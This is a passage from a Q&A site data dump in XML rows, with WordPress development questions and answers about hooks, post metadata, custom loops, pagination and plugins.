  <row Id="16050" PostTypeId="2" ParentId="16019" CreationDate="2011-04-30T19:38:15.503" Score="0" ViewCount="" Body="&lt;p&gt;If you want to be able to read rss feeds from other sites then you should not worry about changing there settings. Instead use a service like Google Reader. If you want to share that post then create a post with a reference to the original content and make sure you have there permission to do so. &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-30T19:38:15.503" />
  <row Id="16051" PostTypeId="2" ParentId="16021" CreationDate="2011-04-30T19:41:56.170" Score="0" ViewCount="" Body="&lt;p&gt;have you read this page from the codex &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Filter_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Filter Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-30T19:41:56.170" />
  <row Id="16052" PostTypeId="2" ParentId="16002" CreationDate="2011-04-30T19:46:38.913" Score="1" ViewCount="" Body="&lt;p&gt;Can you explain what your trying to achieve a little bit better. Are you wanting to filter certain categories from certain users or certain categories from all users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Here are some items i have found on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i have not tried to see if this works as i do not currently have a buddypress site to mess with and it takes to much to get a test one up and know what your settings are&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This one being the hardest is to download this plugin &lt;a href=&quot;http://buddypress.org/community/groups/frontpage-category-filter/&quot; rel=&quot;nofollow&quot;&gt;Front Page Category Filter&lt;/a&gt; and grab the code out of it.&lt;/li&gt;&#xA;&lt;li&gt;According to this quote (&lt;a href=&quot;http://codex.buddypress.org/developer-docs/custom-buddypress-loops/&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt;):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Just as you use “The Loop” to loop through posts in WordPress, each content type in BuddyPress has its own custom loop.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;By using these loops in your template, you can output any kind of information and really customize how content is displayed within your BuddyPress theme.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The default BuddyPress theme (/wp-content/themes/bp-default) makes use of all the custom loops available in BuddyPress. It provides a good example of using the loops in real use situations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use WordPress custom loop's inside a BuddyPress theme as long as it makes use of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;You can find the WordPress loop's codex page by clicking here&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/The_Loop#Exclude_Posts_From_Some_Category&quot; rel=&quot;nofollow&quot;&gt;the one you specifically need by click here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code you would need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following line &lt;code&gt;&amp;lt;?php if ( is_home() ) {&lt;/code&gt; helps buddypress determine that this needs to happen only on the home page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_home() ) { query_posts($query_string . '&amp;amp;cat=-3,-8');} ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- Display the Title as a link to the Post's permalink. --&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;!-- Display the date (November 16th, 2009 format) and a link to other posts by this posts author. --&amp;gt;&#xA;&amp;lt;small&amp;gt;&amp;lt;?php the_time('F jS, Y') ?&amp;gt; by &amp;lt;?php the_author_posts_link() ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;p class=&quot;postmetadata&quot;&amp;gt;Posted in &amp;lt;?php the_category(', '); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- closes the first div box --&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&amp;lt;p&amp;gt;Sorry, no posts matched your criteria.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-01T04:44:45.423" LastActivityDate="2011-05-01T04:44:45.423" CommentCount="2" />
  <row Id="16053" PostTypeId="1" CreationDate="2011-04-13T07:42:06.797" Score="1" ViewCount="115" Body="&lt;p&gt;I would like to add a metadata field to the current post based on a checkbox in a custom meta box to be able to toggle my custom plugin on a post by post basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I coded the following things&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;generate a meta box on the new post and new page page&lt;/li&gt;&#xA;&lt;li&gt;handle the value of the checkbox in the meta box and set the metadata of the post or page accordingly&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I succeded in 1. but I have problems with number 2. I have the following code to handle the setting of the metadata:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update metadata depending on value of checkbox in meta box&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// register action&#xA;add_action( 'save_post', 'cl_save_postdata');&#xA;/* When the post is saved, saves our custom data */&#xA;&#xA;function cl_save_postdata( $post_id ) {&#xA;  // check if $post_id is just a revision id and if so get the parent id&#xA;  if($parent_id = wp_is_post_revision($post_id)){&#xA;    $post_id = $parent_id;&#xA;  }  &#xA;  // verify this came from the our screen and with proper authorization,&#xA;  // because save_post can be triggered at other times&#xA;&#xA;  if ( !wp_verify_nonce( EMU2_I18N_DOMAIN, plugin_basename(__FILE__) ) )&#xA;      return $post_id;&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return $post_id;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] ) {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;        return $post_id;&#xA;  } else {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return $post_id;&#xA;  }&#xA;&#xA;  // OK, we're authenticated: we need to find and save the data&#xA;&#xA;  if ($_POST['cl-activated']) {&#xA;     add_post_meta( $post_id, 'cl-activated', true, true) or update_post_meta( $post_id, 'cl-activated', true);&#xA;  } elseif (get_post_meta ($post_id, 'cl-activated', true)) {&#xA;    delete_post_meta( $post_id, 'cl-activated');&#xA;  }&#xA;  return $cl_is_activated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea of this code is to set or unset the 'cl-activated' metadata depending on the checkbox value. The form of the meta box is the following:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Generate inner meta box HTML&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cl_generate_inner_box($post, $metabox) {&#xA;      // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename(__FILE__), EMU2_I18N_DOMAIN );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;label for=&quot;cl-activated&quot;&amp;gt;';&#xA;       _e(&quot;Activate collect links&quot;, EMU2_I18N_DOMAIN );&#xA;  echo '&amp;lt;/label&amp;gt; ';&#xA;  echo '&amp;lt;input type=&quot;checkbox&quot; id=&quot;cl-activated&quot; name=&quot;cl-activated&quot; value='.$metabox['args']['cl-parameter-name'];&#xA;  if (get_post_meta($post_id, 'cl-activated', true)==true) {&#xA;    echo ' checked=&quot;checked&quot;';&#xA;  }&#xA;  echo ' /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;My problems&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the metadata of the post is not set. I tried looking up the metadata in the wp-postmeta table in the database and it is not there, no matter what I do.&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to save the metadata even if the post or page is still a draft and the user only hits save draft? If I use the action &lt;code&gt;save_post&lt;/code&gt; like I am doing now, I have the impression that it is called only when the post is already published.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The first problem is solved.&lt;/strong&gt; I have double-checked the transition hooks that are provided by Wordpress. It seemed to me that the &lt;code&gt;save_post&lt;/code&gt; hook should be fired when I edit a post. However what happens is that it is called when I click on the &lt;em&gt;new post&lt;/em&gt; button but not when I then save the post as a draft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clearify I need a hook that allows me to get a function executed when the user has changed anything on the post to see if my custom checkbox has been changed so I can update the post's metadata accordingly.&lt;/p&gt;&#xA;" OwnerUserId="5012" LastEditorUserId="5012" LastEditorDisplayName="" LastEditDate="2011-05-15T12:55:51.213" LastActivityDate="2011-05-15T12:55:51.213" Title="What action is called when drafts are saved?" Tags="&lt;plugin-development&gt;&lt;actions&gt;&lt;post-status&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16054" PostTypeId="2" ParentId="16053" CreationDate="2011-04-30T20:54:12.307" Score="1" ViewCount="" Body="&lt;p&gt;After WP 2.3 you have for all status an hook: &lt;code&gt;{$new_status}_{$post-&amp;gt;post_type}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative you can use ans if for the status on hook save_post; an example for post_type post, you can change this 'post' to your post_type or defaults form WP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function set_status_private($id, $post) {&#xA;&#xA;        if ( is_object($post) &amp;amp;&amp;amp; &#xA;             'post' === $post-&amp;gt;post_type &amp;amp;&amp;amp; &#xA;             'publish' === $post-&amp;gt;post_status&#xA;            ) {&#xA;            $post-&amp;gt;post_status = 'private';&#xA;&#xA;            wp_update_post($post);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-04-30T20:54:12.307" CommentCount="3" />
  <row Id="16055" PostTypeId="2" ParentId="14988" CreationDate="2011-04-30T20:56:31.527" Score="1" ViewCount="" Body="&lt;p&gt;before you register your shortcode, add the filter to the content for unautop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'shortcode_unautop' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do this also for the areas, maybe excerpt or widget, when your shortcode add to this areas.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-04-30T20:56:31.527" />
  <row Id="16056" PostTypeId="2" ParentId="16046" CreationDate="2011-04-30T20:59:58.090" Score="3" ViewCount="" Body="&lt;p&gt;check out this one &lt;a href=&quot;http://scott.yang.id.au/code/toc-generator/&quot; rel=&quot;nofollow&quot;&gt;http://scott.yang.id.au/code/toc-generator/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;seems to answer your requirements. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;after reading the comment i figured that i could take a crack at it and i came up with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-simple-toc/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple TOC&lt;/strong&gt;&lt;/a&gt; enjoy!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no style is implemented so you can do what ever you want with it with the provided classes.&#xA;enjoy.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-08T11:22:53.990" LastActivityDate="2011-05-08T11:22:53.990" CommentCount="4" />
  <row Id="16057" PostTypeId="2" ParentId="15777" CreationDate="2011-04-30T20:59:58.390" Score="1" ViewCount="" Body="&lt;p&gt;I dont know, but you can hide via css or javascript the areas; via css: #id_or_.class_of_elemet { display:none; }&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-04-30T20:59:58.390" CommentCount="1" />
  <row Id="16058" PostTypeId="2" ParentId="14421" CreationDate="2011-04-30T21:04:49.103" Score="0" ViewCount="" Body="&lt;p&gt;Also you can use the Plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;Adminimize&lt;/a&gt;, with this plugin you can easy hide menus for different roles; also custom roles. maybe its easier as custom code, if you like this.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-04-30T21:04:49.103" />
  <row Id="16059" PostTypeId="1" CreationDate="2011-04-30T21:12:27.590" Score="0" ViewCount="55" Body="&lt;p&gt;I got a list of ads in my WordPress website on a sidebar. Is it possible to highlight an ad, that is, make it bigger in size for few seconds? I want to make each ad highlighted one after the other. Right now I am using max ad banner to get the rotating ads, but I do not want to have the rotation anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4695" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-30T22:28:41.137" LastActivityDate="2011-05-04T16:04:39.570" Title="Highlight Ads for few seconds" Tags="&lt;ads&gt;" AnswerCount="2" />
  <row Id="16060" PostTypeId="2" ParentId="16045" CreationDate="2011-04-30T21:19:55.867" Score="2" ViewCount="" Body="&lt;p&gt;You can use so many free plugins to create custom post types like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-content-type-manager/&quot; rel=&quot;nofollow&quot;&gt;Custom Content Type Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-press/&quot; rel=&quot;nofollow&quot;&gt;Custom Press&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/content-types-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Content Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/easy-post-types/&quot; rel=&quot;nofollow&quot;&gt;WP Easy Post Types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;which all do the same as the two you you listed and some do even more, in creating custom post type, custom taxonomies and as for custom fields not all of them have that feature but there are a few who do, and you even for that you have some amazing free plugins like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;Simple Fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;More Fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;Verve Meta Boxes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;with the right plugin or combination of plugins you don't have to spend a dime (donations to plugins authors is more the welcome) you can achieve exactly what you want. And after that long list you can doo all of that your self by code with the help of the &lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Codex&lt;/strong&gt;&lt;/a&gt; and this great site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the main question &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What should I use - Taxonomies, custom fields, Post Type?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I follow my own set of rules by deciding what kind of data i need stored and what i need to do with it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Post types - for all major data&#xA;records that need/not to be displayed&#xA;or queried.&lt;/li&gt;&#xA;&lt;li&gt;taxonomies - for grouping&#xA;posts/custom records together, helps a lot&#xA;in queries.&lt;/li&gt;&#xA;&lt;li&gt;custom fields - for extra data that&#xA;needs to be per post/custom record&#xA;,maybe even to help in queries.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-30T21:19:55.867" CommentCount="1" />
  <row Id="16061" PostTypeId="1" AcceptedAnswerId="16066" CreationDate="2011-04-30T22:00:42.243" Score="0" ViewCount="76" Body="&lt;p&gt;This is my query, it shows the posts that have meta_key as extra1 and meta_value as test&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $customkey1 = 'extra1'; ?&amp;gt;&#xA;&amp;lt;?php $customvalue1 = 'test'; ?&amp;gt;&#xA;&amp;lt;?php query_posts('meta_key=' . $customkey1 . '&amp;amp;meta_value=' . $customvalue1);  ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php the_title(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how can I still show the posts that have extra1 as metakey and test as metavalue but also the posts that have extra2 as metakey and test2 as metavalue in the same query. A combination of two or more variables.&lt;/p&gt;&#xA;" OwnerUserId="5015" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-01T08:14:38.943" LastActivityDate="2011-05-01T08:14:38.943" Title="How can I combine this php statement to get the results of multiple variable inputs?" Tags="&lt;custom-field&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="16063" PostTypeId="2" ParentId="16059" CreationDate="2011-04-30T22:14:39.447" Score="1" ViewCount="" Body="&lt;p&gt;Well if you want to increase size you need two images of that add and if your getting some ads from sites that give you revenue then it would be quite hard as you cant call the same ad twice from them to get a bigger image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please do not take this next statement as an attack it is just some preference/opinion i have learned from hosting sites.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;One thing i will state is that making ad's cycle in an order to make them bigger is a big eye sore for viewers people will see the ads no matter what size if you place them in the right places, but to make them go bigger for a few seconds then return to normal and go to next ad is a little annoying even if you make it go around only once and not loop&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-04-30T22:14:39.447" />
  <row Id="16064" PostTypeId="1" CreationDate="2011-04-30T23:18:32.300" Score="0" ViewCount="41" Body="&lt;p&gt;How I put an tab with options in upload screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://i1109.photobucket.com/albums/h439/andregolvea/tab.png&quot; rel=&quot;nofollow&quot;&gt;http://i1109.photobucket.com/albums/h439/andregolvea/tab.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5017" LastActivityDate="2011-04-30T23:18:32.300" Title="How to add tab in upload trickbox?" Tags="&lt;uploads&gt;&lt;image&gt;" />
  <row Id="16065" PostTypeId="1" AcceptedAnswerId="16150" CreationDate="2011-04-30T23:35:52.090" Score="0" ViewCount="256" Body="&lt;p&gt;Hey everyone. I'm not sure if what I'm experiencing is a result of a bug (due to the recent upgrade to 3.1.2) or poor coding. Ever since i upgraded to version 3.1.2 ive been experiencing a problem with two loops on my index page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've got for my index page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if ( ! is_paged() &amp;amp;&amp;amp; is_front_page() ) {&#xA;&#xA;    echo '&amp;lt;h6 class=&quot;sec1 title&quot;&amp;gt;FEATURE&amp;lt;/h6&amp;gt;';&#xA;    $sticky = get_option( 'sticky_posts' );&#xA;&#xA;         if ( isset( $sticky[0] ) ) {&#xA;            $args = array(&#xA;                'posts_per_page' =&amp;gt; 3,&#xA;                'post__in'  =&amp;gt; $sticky,&#xA;                'ignore_sticky_posts' =&amp;gt; 1);&#xA;&#xA;            $featured_query = new WP_query( $args );&#xA;            while ($featured_query-&amp;gt;have_posts() ) :&#xA;            $featured_query-&amp;gt;the_post();&#xA;&#xA;            get_template_part( 'content', 'featured' );&#xA;&#xA;            endwhile;&#xA;        } // endif sticky&#xA;    } // endif is_paged&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;        $sticky = get_option( 'sticky_posts' );&#xA;        echo '&amp;lt;h6 class=&quot;sec1 title&quot;&amp;gt;LATEST ARTICLES&amp;lt;/h6&amp;gt;';&#xA;        $paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;&#xA;        $query_args = array(&#xA;            'posts_per_page' =&amp;gt; 10,&#xA;            'paged' =&amp;gt; $paged,&#xA;            'post__not_in' =&amp;gt; $sticky&#xA;            );&#xA;&#xA;        query_posts($query_args);&#xA;        if (have_posts() ) :&#xA;        while (have_posts() ) :&#xA;        the_post();&#xA;&#xA;        get_template_part( 'content', get_post_format() );&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;!--&amp;lt;?php trackback_rdf(); ?&amp;gt;--&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;?php _e( 'Sorry, no posts matched your criteria.' ); ?&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;// Navigation comes over here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Say for example the first loop &lt;em&gt;(sticky posts)&lt;/em&gt; - which IS NOT paged, yields &lt;strong&gt;3 posts&lt;/strong&gt;, and the second loop &lt;em&gt;(all other posts)&lt;/em&gt; - which IS paged, yields &lt;strong&gt;10 posts&lt;/strong&gt;. The problem I'm experiencing is that when i move to the next page, the last &lt;strong&gt;3 posts&lt;/strong&gt; from the second loop on page 1 get repeated at the the top of page 2.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: The first loop is only on page 1, and doesn't get repeated on the second page, which is what i intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note 2: I assume that the second loop is considering - in some odd way, the posts from the first loop as one of its own. But it still shows 10 posts on the first page + 3 posts from the first loop.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So in essence its:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PAGE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loop 1: 3 posts (3 unique posts)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loop 2: 10 posts (10 unique posts)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PAGE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loop 1: Doesn't execute - as intended, due to ( ! is_paged() )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loop 2: 10 posts (7 unique, 3 duplicated from the last 3 (from the second loop) on the first page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is what i tried, i removed the ( ! is_paged() &amp;amp;&amp;amp; is_front_page ) condition along with the entire first loop, and the problem got resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am i doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-06-14T12:30:07.710" Title="Wordpress loop problem: Multiple loops, index.php and is_paged causing duplicate posts on next page" Tags="&lt;query-posts&gt;&lt;loop&gt;&lt;pagination&gt;&lt;multiple&gt;&lt;paged&gt;" AnswerCount="2" />
  <row Id="16066" PostTypeId="2" ParentId="16061" CreationDate="2011-05-01T00:21:02.913" Score="2" ViewCount="" Body="&lt;p&gt;If you are using WP 3.1, I would recommend using the &lt;code&gt;meta_query&lt;/code&gt; parameter with the WP_Query class. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; $customkey1,&#xA;            'value' =&amp;gt; $customvalue1,&#xA;            'compare' =&amp;gt; '='&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; $customkey2,&#xA;            'value' =&amp;gt; $customvalue2,&#xA;            'compare' =&amp;gt; '='&#xA;        )&#xA;    )&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&#xA;if ( $query-&amp;gt;have_posts() ) : &#xA;    while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;        the_title();&#xA;    endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The meta_query parameter allows for very powerful queries with metadata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-05-01T00:21:02.913" CommentCount="5" />
  <row Id="16067" PostTypeId="1" AcceptedAnswerId="16075" CreationDate="2011-05-01T00:40:53.150" Score="0" ViewCount="105" Body="&lt;p&gt;On my site, I am working on categorizing pictures based on what is in them and am having trouble listing the categories that apply to the post. For instance: A post might include a picture of an ice cream cone with three flavors of ice cream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My category hierarchy for this post might be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flavors -&gt;Vanilla, Mint Chip, Chocolate &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Style -&gt;Cone&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I cannot seem to get a list that includes just children of 'flavors' or 'style', without listing all checked categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I am hoping to have two, nicely organized lists, where one lists the flavors and the other lists the style.  Just I don't want them both in the same list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-get_categories seems to have the proper arguments, but I have not been able to work it out.&lt;br&gt;&#xA;-the_category seems like it is close, but it doesn't allow for excluding a particular category from a list&lt;/p&gt;&#xA;" OwnerUserId="5019" LastActivityDate="2011-05-01T04:00:44.750" Title="How do I list all child categories that apply to current post?" Tags="&lt;3.0&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="16068" PostTypeId="1" AcceptedAnswerId="16116" CreationDate="2011-05-01T01:16:38.753" Score="-1" ViewCount="96" Body="&lt;p&gt;I'm running private blog so I can't post the link here. Sorry. Here is how I do it&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I set custom home page which acts as table of content&lt;/li&gt;&#xA;&lt;li&gt;Each category has it's &quot;master page&quot; which talks little bit about the subject, and links all of the post within that category&lt;/li&gt;&#xA;&lt;li&gt;I have loads of categories and I don't use tags because if I want further granularity than categories, I simply search...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please criticize and share your experience&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;The Blog is used as knowledge management tool. I have dozen of concepts I write about. Mainly documenting my own experience while working on a project. I started with simple bunch of posts classified into categories. I used to tag a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realised that something big is missing. Something which will glue my posts together... So I decided to have a page (not a post) for each high level concept I talk about which will have links to all other posts in that category.... Something like the introduction to the book, where you briefly mention all chapters (posts in my case) and of course, provide links...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got rid of tags altogether ... It's consuming way too much time... If I want to find something, I search using the keyword. It works better for me..&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditorDisplayName="" LastEditDate="2011-05-02T10:46:50.740" LastActivityDate="2011-05-02T10:46:50.740" Title="How do you organize your 